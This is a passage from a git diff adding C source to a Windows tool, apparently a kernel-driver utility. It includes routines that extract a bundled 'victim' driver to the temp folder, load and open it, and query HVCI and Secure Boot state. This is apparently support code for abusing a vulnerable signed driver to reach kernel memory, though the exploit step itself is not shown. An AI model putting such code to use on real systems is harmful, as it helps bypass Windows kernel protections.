FileStandardInformation); + + if (!NT_SUCCESS(status)) + break; + + sz = (SIZE_T)fi.EndOfFile.LowPart; + + Buffer = (PBYTE)supHeapAlloc(sz); + if (Buffer) { + + status = NtReadFile( + hFile, + NULL, + NULL, + NULL, + &iost, + Buffer, + fi.EndOfFile.LowPart, + NULL, + NULL); + + if (NT_SUCCESS(status)) { + if (lpBufferSize) + *lpBufferSize = fi.EndOfFile.LowPart; + } + else { + supHeapFree(Buffer); + Buffer = NULL; + } + } + + } while (bCond); + + if (hRoot != NULL) { + NtClose(hRoot); + } + + if (hFile != NULL) { + NtClose(hFile); + } + + if (usName.Buffer) + RtlFreeUnicodeString(&usName); + + return Buffer; +} diff --git a/Source/Hamakaze/sup.h b/Source/Hamakaze/sup.h new file mode 100644 index 0000000..259b029 --- /dev/null +++ b/Source/Hamakaze/sup.h @@ -0,0 +1,117 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2020 +* +* TITLE: SUP.H +* +* VERSION: 1.00 +* +* DATE: 24 Jan 2020 +* +* Support routines header file. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ +#pragma once + +typedef NTSTATUS(NTAPI* PENUMOBJECTSCALLBACK)(POBJECT_DIRECTORY_INFORMATION Entry, PVOID CallbackParam); + +#define USER_TO_KERNEL_HANDLE(Handle) { Handle += 0xffffffff80000000; } + +typedef struct _OBJSCANPARAM { + PWSTR Buffer; + ULONG BufferSize; +} OBJSCANPARAM, * POBJSCANPARAM; + +PVOID FORCEINLINE supHeapAlloc( + _In_ SIZE_T Size); + +BOOL FORCEINLINE supHeapFree( + _In_ PVOID Memory); + +NTSTATUS supEnablePrivilege( + _In_ DWORD PrivilegeName, + _In_ BOOL fEnable); + +NTSTATUS supLoadDriver( + _In_ LPCWSTR DriverName, + _In_ LPCWSTR DriverPath, + _In_ BOOLEAN UnloadPreviousInstance); + +NTSTATUS supUnloadDriver( + _In_ LPCWSTR DriverName, + _In_ BOOLEAN fRemove); + +NTSTATUS supOpenDriver( + _In_ LPCWSTR DriverName, + _Out_ PHANDLE DeviceHandle); + +PVOID supGetSystemInfo( + _In_ SYSTEM_INFORMATION_CLASS InfoClass); + +ULONG_PTR supGetNtOsBase( + VOID); + +PBYTE supQueryResourceData( + _In_ ULONG_PTR ResourceId, + _In_ PVOID DllHandle, + _In_ PULONG DataSize); + +PBYTE supReadFileToBuffer( + _In_ LPWSTR lpFileName, + _Inout_opt_ LPDWORD lpBufferSize); + +SIZE_T supWriteBufferToFile( + _In_ PWSTR lpFileName, + _In_ PVOID Buffer, + _In_ SIZE_T Size, + _In_ BOOL Flush, + _In_ BOOL Append, + _Out_opt_ NTSTATUS* Result); + +ULONG_PTR supGetProcAddress( + _In_ ULONG_PTR KernelBase, + _In_ ULONG_PTR KernelImage, + _In_ LPCSTR FunctionName); + +void supResolveKernelImport( + _In_ ULONG_PTR Image, + _In_ ULONG_PTR KernelImage, + _In_ ULONG_PTR KernelBase); + +BOOLEAN supIsObjectExists( + _In_ LPWSTR RootDirectory, + _In_ LPWSTR ObjectName); + +BOOL supQueryObjectFromHandle( + _In_ HANDLE hOject, + _Out_ ULONG_PTR* Address); + +BOOL supGetCommandLineOption( + _In_ LPCTSTR OptionName, + _In_ BOOL IsParametric, + _Out_writes_opt_z_(ValueSize) LPTSTR OptionValue, + _In_ ULONG ValueSize); + +BOOLEAN supQueryHVCIState( + _Out_ PBOOLEAN pbHVCIEnabled, + _Out_ PBOOLEAN pbHVCIStrictMode, + _Out_ PBOOLEAN pbHVCIIUMEnabled); + +DWORD supExpandEnvironmentStrings( + _In_ LPCWSTR lpSrc, + _Out_writes_to_opt_(nSize, return) LPWSTR lpDst, + _In_ DWORD nSize); + +BOOLEAN supQuerySecureBootState( + _Out_ PBOOLEAN pbSecureBoot); + +ULONG_PTR supQueryMaximumUserModeAddress(); + +BOOLEAN supVerifyMappedImageMatchesChecksum( + _In_ PVOID BaseAddress, + _In_ ULONG FileLength); diff --git a/Source/Hamakaze/victim.cpp b/Source/Hamakaze/victim.cpp new file mode 100644 index 0000000..d0811eb --- /dev/null +++ b/Source/Hamakaze/victim.cpp @@ -0,0 +1,205 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2018 - 2020 +* +* TITLE: VICTIM.CPP +* +* VERSION: 1.00 +* +* DATE: 24 Jan 2020 +* +* Victim support routines. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +#include "global.h" + +/* +* VictimLoadUnload +* +* Purpose: +* +* Load/Unload driver using Native API. +* This routine will try to force unload driver on loading if Force parameter set to TRUE. +* +*/ +BOOL VictimLoadUnload( + _In_ LPWSTR Name, + _In_ LPWSTR ImagePath, + _In_ BOOLEAN Force, + _In_ BOOLEAN Unload, + _Out_opt_ NTSTATUS* ErrorStatus) +{ + NTSTATUS ntStatus; + + if (Unload) { + ntStatus = supUnloadDriver(Name, TRUE); + } + else { + ntStatus = supLoadDriver(Name, ImagePath, Force); + } + + if (ErrorStatus) + *ErrorStatus = ntStatus; + + return (NT_SUCCESS(ntStatus)); +} + +/* +* VictimBuildName +* +* Purpose: +* +* Create filepath to %temp% with given victim name. +* +*/ +LPWSTR VictimBuildName( + _In_ LPWSTR VictimName +) +{ + LPWSTR FileName; + SIZE_T Length = (1024 + _strlen(VictimName)) * sizeof(WCHAR); + + FileName = (LPWSTR)supHeapAlloc(Length); + if (FileName == NULL) { + SetLastError(ERROR_NOT_ENOUGH_MEMORY); + } + else { + + DWORD cch = supExpandEnvironmentStrings(L"%temp%\\", FileName, MAX_PATH); + if (cch == 0 || cch > MAX_PATH) { + SetLastError(ERROR_NOT_ENOUGH_MEMORY); + supHeapFree(FileName); + FileName = NULL; + } + else { + _strcat(FileName, VictimName); + _strcat(FileName, L".sys"); + } + } + + return FileName; +} + +/* +* VictimCreate +* +* Purpose: +* +* Drop, load and reference victim driver. +* +*/ +BOOL VictimCreate( + _In_ HINSTANCE ModuleBase, + _In_ LPWSTR Name, //same as device name + _In_ ULONG ResourceId, + _Out_opt_ PHANDLE VictimHandle) +{ + PBYTE drvBuffer = NULL; + ULONG resourceSize = 0; + LPWSTR driverFileName = NULL; + HANDLE deviceHandle = NULL; + + if (VictimHandle) + *VictimHandle = NULL; + + driverFileName = VictimBuildName(Name); + if (driverFileName) { + + do { + + if (supIsObjectExists((LPWSTR)L"\\Device", Name)) { + printf_s("[!] Victim driver already loaded, force reload\r\n"); + + printf_s("[!] Attempt to unload %ws\r\n", Name); + + NTSTATUS ntStatus; + if (!VictimLoadUnload(Name, driverFileName, FALSE, TRUE, &ntStatus)) { + printf_s("[!] Could not force unload victim, NTSTATUS(0x%lX) abort\r\n", ntStatus); + break; + } + } + + drvBuffer = supQueryResourceData(ResourceId, ModuleBase, &resourceSize); + if (drvBuffer == NULL) { + SetLastError(ERROR_FILE_NOT_FOUND); + break; + } + + NTSTATUS ntStatus; + ULONG writeBytes; + + printf_s("[+] Extracting victim driver \"%ws\" as \"%ws\"\r\n", Name, driverFileName); + + writeBytes = (ULONG)supWriteBufferToFile(driverFileName, + drvBuffer, + resourceSize, + TRUE, + FALSE, + &ntStatus); + + supHeapFree(drvBuffer); + + if (resourceSize != writeBytes) { + printf_s("[!] Could not extract victim driver, NTSTATUS(0x%lX) abort\r\n", ntStatus); + SetLastError(RtlNtStatusToDosError(ntStatus)); + break; + } + + ntStatus = STATUS_UNSUCCESSFUL; + if (VictimLoadUnload(Name, driverFileName, TRUE, FALSE, &ntStatus)) { + + SetLastError(RtlNtStatusToDosError(ntStatus)); + + if (VictimHandle) { + + ntStatus = supOpenDriver(Name, &deviceHandle); + if (NT_SUCCESS(ntStatus)) { + *VictimHandle = deviceHandle; + } + else { + SetLastError(RtlNtStatusToDosError(ntStatus)); + } + } + + } + else { + SetLastError(RtlNtStatusToDosError(ntStatus)); + } + + } while (FALSE); + + supHeapFree(driverFileName); + } + + return (deviceHandle != NULL); +} + +/* +* VictimRelease +* +* Purpose: +* +* Unload victim driver. +* +*/ +BOOL VictimRelease( + _In_ LPWSTR Name +) +{ + BOOL bResult = FALSE; + + LPWSTR driverFileName = VictimBuildName(Name); + if (driverFileName) { + bResult = VictimLoadUnload(Name, driverFileName, FALSE, TRUE, NULL); + DeleteFile(driverFileName); + supHeapFree(driverFileName); + } + + return bResult; +} diff --git a/Source/Hamakaze/victim.h b/Source/Hamakaze/victim.h new file mode 100644 index 0000000..fb6af50 --- /dev/null +++ b/Source/Hamakaze/victim.h @@ -0,0 +1,29 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2018 - 2020 +* +* TITLE: VICTIM.H +* +* VERSION: 1.00 +* +* DATE: 07 Jan 2020 +* +* Victim support prototypes and definitions. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +#pragma once + +BOOL VictimCreate( + _In_ HINSTANCE ModuleBase, + _In_ LPWSTR Name, //same as device name + _In_ ULONG ResourceId, + _Out_opt_ PHANDLE VictimHandle); + +BOOL VictimRelease( + _In_ LPWSTR Name); diff --git a/Source/KDU.sln b/Source/KDU.sln new file mode 100644 index 0000000..de966c4 --- /dev/null +++ b/Source/KDU.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29709.97 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Hamakaze", "Hamakaze\KDU.vcxproj", "{46C8FB0F-C8BF-4932-B84C-A10B38904728}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {46C8FB0F-C8BF-4932-B84C-A10B38904728}.Debug|x64.ActiveCfg = Debug|x64 + {46C8FB0F-C8BF-4932-B84C-A10B38904728}.Debug|x64.Build.0 = Debug|x64 + {46C8FB0F-C8BF-4932-B84C-A10B38904728}.Release|x64.ActiveCfg = Release|x64 + {46C8FB0F-C8BF-4932-B84C-A10B38904728}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {A3AB05D5-3256-4A90-8B28-22C0E11621E9} + EndGlobalSection +EndGlobal